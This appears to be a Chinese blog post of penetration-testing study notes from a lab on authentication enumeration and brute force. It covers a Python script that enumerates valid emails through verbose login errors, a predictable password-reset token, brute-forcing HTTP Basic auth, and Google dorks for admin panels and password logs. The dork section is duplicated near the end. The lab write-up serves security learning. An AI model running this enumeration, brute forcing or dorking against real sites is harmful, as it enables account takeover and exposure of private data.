枚举和爆破(网站渗透1)
准备重新把网站渗透相关的内容系统的并整合一遍
(有不对的地方欢迎指正)
枚举和爆破(Enumeration & Brute Force)
一般枚举和爆破出现在:身份验证(比如:用户名验证,密码策略,会话管理等)
准备工作
1.添加域名
sudo nano /etc/hosts
10.49.151.136 enum.thm

改完以后可以通过域名访问http://enum.thm

身份验证枚举
识别有效用户名
判断出有效用户名以后,可以便于进一步的密码爆破(其实就是平时写的用户名枚举漏洞,可以通过对一些不同账号的反馈来判断账号是否存在)
密码策略
了解目标应用程序的密码复杂性策略,便于后面生成相应合适的密码。
以下是一个类似于网站要求用户密码复杂性的代码例子
<?php
$password = $_POST['pass']; // Example1
$pattern = '/^(?=.*[A-Z])(?=.*\d)(?=.*[\W_]).+$/';
if (preg_match($pattern, $password)) {
echo "Password is valid.";
} else {
echo "Password is invalid. It must contain at least one uppercase letter, one number, and one symbol.";
}
?>
常见的枚举位置
注册页面
密码重置
登录时详细的错误的提示
数据泄露信息:某个网站被攻破后,数据库信息泄露出来多个平台传播
通过详细错误枚举用户
诱发详细错误
无效登录尝试
sql注入
文件包含、路径遍历
表单操作:比如说调整一些提交的表单的字段,触发验证错误
应用程序模糊:(这个不是很懂)应该就是像不同的部分发送意外输入,触发错误信息
枚举和爆破的作用
一般来说两者都会用到,用户枚举为有效爆破奠定基础
简单实践一下:

脚本测试
这边提供了一个用来测试邮箱是否有效的Python脚本
import requests
import sys
def check_email(email):
url = 'http://enum.thm/labs/verbose_login/functions.php' # Location of the login function
headers = {
'Host': 'enum.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://enum.thm',
'Connection': 'close',
'Referer': 'http://enum.thm/labs/verbose_login/',
}
data = {
'username': email,
'password': 'password', # Use a random password as we are only checking the email
'function': 'login'
}
response = requests.post(url, headers=headers, data=data)
return response.json()
def enumerate_emails(email_file):
valid_emails = []
invalid_error = "Email does not exist" # Error message for invalid emails
with open(email_file, 'r') as file:
emails = file.readlines()
for email in emails:
email = email.strip() # Remove any leading/trailing whitespace
if email:
response_json = check_email(email)
if response_json['status'] == 'error' and invalid_error in response_json['message']:
print(f"[INVALID] {email}")
else:
print(f"[VALID] {email}")
valid_emails.append(email)
return valid_emails
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 script.py <email_list_file>")
sys.exit(1)
email_file = sys.argv[1]
valid_emails = enumerate_emails(email_file)
print("\nValid emails found:")
for valid_email in valid_emails:
print(valid_email)
字典下载位置
https://github.com/nyxgeek/username-lists/blob/master/usernames-top100/usernames_gmail.com.txt
触发
python script.py usernames_gmail.com.txt

基于用户密码重置的漏洞逻辑
常见的密码重置方法:邮件、基础问题、SMS短信验证重置
简单实践一下:
下面这个是靶场用来生成随机令牌的code
$token = mt_rand(100, 200);
$query = $conn->prepare("UPDATE users SET reset_token = ? WHERE email = ?");
$query->bind_param("ss", $token, $email);
$query->execute();

这边给了提示,会有个重置链接http://enum.thm/labs/predictable_tokens/reset_password.php?token=234
随便抓包跑一跑
用密码登录
利用http的基本身份认证
基本身份认证虽然安全性不强,但是很多比如路由器之类的常规设备经常用。
HTTP基本身份验证在RFC 7617中定义,它指定凭据(用户名和密码)应作为HTTP授权标头中的base64编码字符串传输。(因为base64不是加密方法,所以很容易被破解)
下面是一种http基本身份认证的轮询机制
The Authorization header format is as follows:
Authorization: Basic <credentials> #<credentials>部分是username:password的base64编码
实践一下:


抓到一个包,是这个格式的
这边题目有提供字典,直接用

解密一下
登录成功

OSINT
OSINT 是 Open Source Intelligence(开源情报)的缩写,指从公开可用的信息源中收集、分析和利用情报的过程。
URL回溯
一些网站,可以返回并探索旧版本的网站,发现不再可见但可能仍徘徊在服务器上的文件和目录
这边讲到一个网址可以实践一下
https://archive.org/web
还说到了一个工具
https://github.com/tomnomnom/waybackurls
感觉这个工具看着很吊的样子,给定一个域名,它能从公开的网页历史存档服务(主要是 Wayback Machine,即互联网档案馆)中,提取出该域名所有已知的 URL 历史记录
Google Dork
可以熟悉一些搜索引擎的语法
site:example.com inurl:admin #查找管理员面板
filetype:log "password" site:example.com #挖掘带密码的日志文件
intitle:"index of" "backup" site:example.com #发现备份目录
给定一个域名,它能从公开的网页历史存档服务(主要是 Wayback Machine,即互联网档案馆)中,提取出该域名所有已知的 URL 历史记录
Google Dork
可以熟悉一些搜索引擎的语法
site:example.com inurl:admin #查找管理员面板
filetype:log "password" site:example.com #挖掘带密码的日志文件
intitle:"index of" "backup" site:example.com #发现备份目录
更多推荐
所有评论(0)